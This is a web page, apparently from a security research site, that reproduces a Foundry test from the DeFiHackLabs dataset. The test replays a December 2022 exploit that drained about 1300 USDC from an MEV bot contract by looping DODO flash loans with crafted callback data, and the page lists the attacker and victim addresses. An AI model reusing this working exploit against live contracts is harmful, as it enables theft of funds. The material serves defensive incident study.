Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/MEVbot_0x28d9_exp.sol

Public reproduction file for dataset entry - MEVbot_0x28d9.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/MEVbot_0x28d9_exp.sol43 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~1300 $USDC
5// Attacker : https://etherscan.io/address/0xb61e7f192a9ad5d11e2452f53d0ddf91b58239dc
6// Attack Contract : https://etherscan.io/address/0x0757d02596ef9840048def00eeb8e0f3862cc7ca
7// Vulnerable Contract : https://etherscan.io/address/0x28d949fdfb5d9ea6b604fa6fee3d6548ea779f17
8// Attack Tx : https://etherscan.io/tx/0x313d23bdd9277717e3088f32c976479c09d4b8a94d5d94deb835d157fd0850ce
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13interface IDPPAdvanced {
14 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
17contract ContractTest is Test {
18 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
19 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
20 IDPPAdvanced DODO = IDPPAdvanced(0x3058EF90929cb8180174D74C507176ccA6835D73);
21 address MevBot_addr = 0x28d949Fdfb5d9ea6B604fA6FEe3D6548ea779F17;
23 function setUp() public {
24 vm.createSelectFork("mainnet", 16_157_843 - 1);
25 vm.label(address(USDC), "USDC");
26 vm.label(address(USDT), "USDT");
27 vm.label(address(DODO), "DODO");
28 vm.label(address(MevBot_addr), "MevBot_addr");
29 }
31 function testExploit() public {
32 emit log_named_decimal_uint("Attacker USDC balance before attack", USDC.balanceOf(address(this)), 6);
33 bytes memory data = abi.encode(address(this), 16_777_120 * 110 / 100, 0, 0);
34 while (USDT.balanceOf(MevBot_addr) > 20 * 1e6) {
35 DODO.flashLoan(0, 16_777_120, MevBot_addr, data);
36 }
37 DODO.flashLoan(0, USDT.balanceOf(MevBot_addr), MevBot_addr, data);
38 emit log_named_decimal_uint("Attacker USDC balance before attack", USDC.balanceOf(address(this)), 6);
39 }
41 fallback() external payable {}
42 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “- MEVbot_0x28d9” (2022-12-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb61e7f192a9ad5d11e2452f53d0ddf91b58239dc

  • Attack Contract

    0x0757d02596ef9840048def00eeb8e0f3862cc7ca

  • Vulnerable Contract

    0x28d949fdfb5d9ea6b604fa6fee3d6548ea779f17

  • Attack Tx

    0x313d23bdd9277717e3088f32c976479c09d4b8a94d5d94deb835d157fd0850ce

File record

Name
MEVbot_0x28d9
Path
src/test/2022-12/MEVbot_0x28d9_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9bf35c857393402eac9cc64cfa216e3661ae99cd
Language
Solidity
Size
44 lines
Date
2022-12-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/MEVbot_0x28d9_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9bf35c857393402eac9cc64cfa216e3661ae99cd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.